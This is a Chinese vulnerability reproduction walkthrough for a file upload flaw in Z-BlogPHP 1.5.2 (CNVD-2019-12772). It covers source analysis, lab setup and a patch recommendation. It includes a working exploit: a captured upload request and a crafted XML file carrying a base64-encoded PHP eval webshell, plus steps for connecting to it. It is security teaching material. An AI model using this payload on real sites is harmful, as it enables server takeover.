Z-BlogPHP 1.5.2 Zero后台存在文件上传漏洞复现( CNVD-2019-12772)
文章目录
- 0x01 简介
- 0x02 漏洞概述
- 0x03 影响版本
- 0x04 漏洞编号
- 0x05 漏洞分析
- 第一步 获取数据包,查看文件上传功能接口
- 第二步 查看该文件源码
- 第三步全局搜索该函数,查看UnPack函数
- 第四步 首先对app.php中的源码进行分析
- 第五步 接着向下,继续分析,
- 第六步 则根据最后一步骤,可生成开始时的exp,
- 0x06 环境搭建
- 第一步 使用phpstudy搭建网站
- 第二步 解开源码压缩包
- 第三步 打开浏览器
- 第四步 默认下一步,直到数据库配置
- 第五步 创建数据库
- 第六步 输入相关信息点击下一步
- 第七步 跳转至首页
- 0x07漏洞复现
- 第一步 创建pass.xml
- 第二步 base64加密
- 第三步 访问网站
- 第四步 登录后台,查看漏洞点
- 第五步 提交后,使用工具连接
- 第六步 连接该文件
- 0x08 漏洞修复
- 免责声明
0x01 简介
- Z-Blog是由
Z-Blog开发团队开发的一款小巧而强大的基于Asp和PHP平台的开源程序, - 致力于给用户提供优秀的
博客写作体验。
0x02 漏洞概述
Z-BlogPHP1.5.2Zero后台主题管理和插件管理处存在文件上传漏洞,- 攻击者可利用该漏洞
获取网站服务器控制权。
0x03 影响版本
- Z-blog Z-BlogPHP
1.5.2
0x04 漏洞编号
https://www.cnvd.org.cn/flaw/show/CNVD-2019-12772

0x05 漏洞分析
第一步 获取数据包,查看文件上传功能接口
POST /Z-BlogPHP_1_5_2_1935_Zero/zb_users/plugin/AppCentre/app_upload.php HTTP/1.1
Host: 192.168.253.194:8080
Content-Length: 564
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.253.194:8080
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryPmjYAYBaK78uLRz8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.253.194:8080/Z-BlogPHP_1_5_2_1935_Zero/zb_system/admin/index.php?act=PluginMng
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: timezone=8; username=admin_123456; token=72d259b048974d2634509eb46532cc3ca0d78eb140e065cf72dceccddb4501f21652009809; addinfoZ-BlogPHP_1_5_2_1935_Zero=%7B%22chkadmin%22%3A1%2C%22chkarticle%22%3A1%2C%22levelname%22%3A%22%5Cu7ba1%5Cu7406%5Cu5458%22%2C%22userid%22%3A%221%22%2C%22useralias%22%3A%22admin_123456%22%7D
Connection: close------WebKitFormBoundaryPmjYAYBaK78uLRz8
Content-Disposition: form-data; name="edtFileLoad"; filename="pass.xml"
Content-Type: text/xml<?xml version="1.0"?>
<root version="php"><file><path>shell.php</path><stream>PD9waHAgQGV2YWwoJF9QT1NUWydwYXNzJ10pID8+</stream></file>
</root>
------WebKitFormBoundaryPmjYAYBaK78uLRz8
Content-Disposition: form-data; name="B1"鎻愪氦
------WebKitFormBoundaryPmjYAYBaK78uLRz8
Content-Disposition: form-data; name="token"2a384414a275c74d6e8fa60fec4b999e
------WebKitFormBoundaryPmjYAYBaK78uLRz8--

第二步 查看该文件源码
发现上传文件类型为xml,且使用unpack函数对数据进行解包
if (App::UnPack($xml)) {$zbp->SetHint('good', '上传APP并解压成功!');Redirect($_SERVER["HTTP_REFERER"]);} else {$zbp->SetHint('bad', $zbp->lang['error']['64']);Redirect($_SERVER["HTTP_REFERER"]);
}

第三步全局搜索该函数,查看UnPack函数

第四步 首先对app.php中的源码进行分析
发现当上传的文件不是xml时,就会通过simplexml_load_string() 函数加载其对象为false,并且当xml文件的version不等于php时,也会返回false,还有就是当xml文件上传成功后,通过一个type变量将上传的文件与zb_users文件进行拼接,也就是说上传成功的文件路径在/zb_users/xxx/下。

第五步 接着向下,继续分析,
发现此处对xml文件进行了遍历,当传入的文件xml不存在时,就会在之前的路径下新创建一个0755的文件,并将其指向floder标签下;如果传入的xml文件存在,就会将其指向stream标签下的file这个文件,并通过base64编码的方式与其拼接。

第六步 则根据最后一步骤,可生成开始时的exp,
设定version为php,文件内容为base64编码后的一句话木马,path为*.php,根据源码规则,会在zb_users下新建*.php文件,内容便为解码后的一句话木马。
0x06 环境搭建
第一步 使用phpstudy搭建网站
启动phpstudy后启动apache及mysql,打开网站根目录。

第二步 解开源码压缩包
将文件夹下所有文件复制至网站根目录下。

第三步 打开浏览器
访问127.0.0.1或localhost,自动跳转至install目录,开始安装过程。


第四步 默认下一步,直到数据库配置

第五步 创建数据库

第六步 输入相关信息点击下一步
出现安装结果,安装完成,点击完成,

第七步 跳转至首页

0x07漏洞复现
第一步 创建pass.xml
在本地新建文件pass.xml,内容如下:
<?xml version="1.0"?>
<root version="php"><file><path>shell.php</path><stream>PD9waHAgQGV2YWwoJF9QT1NUWydwYXNzJ10pID8+</stream></file>
</root>

第二步 base64加密
PD9waHAgQGV2YWwoJF9QT1NUWydwYXNzJ10pID8+为base64编码后的一句话木马,原内容为

第三步 访问网站
点击右方链接登陆后台


第四步 登录后台,查看漏洞点
点击“插件管理”,选择提前新建的文件pass.xml并提交


第五步 提交后,使用工具连接
位于/zb_users/目录下,文件名为shell.php,密码为pass

第六步 连接该文件


0x08 漏洞修复
更新系统版本为官方最新版
免责声明
本文档供学习,请使用者注意使用环境并遵守国家相关法律法规!由于使用不当造成的后果上传者概不负责!
本文来自互联网用户投稿,文章观点仅代表作者本人,不代表本站立场,不承担相关法律责任。如若转载,请注明出处。 如若内容造成侵权/违法违规/事实不符,请点击【内容举报】进行投诉反馈!
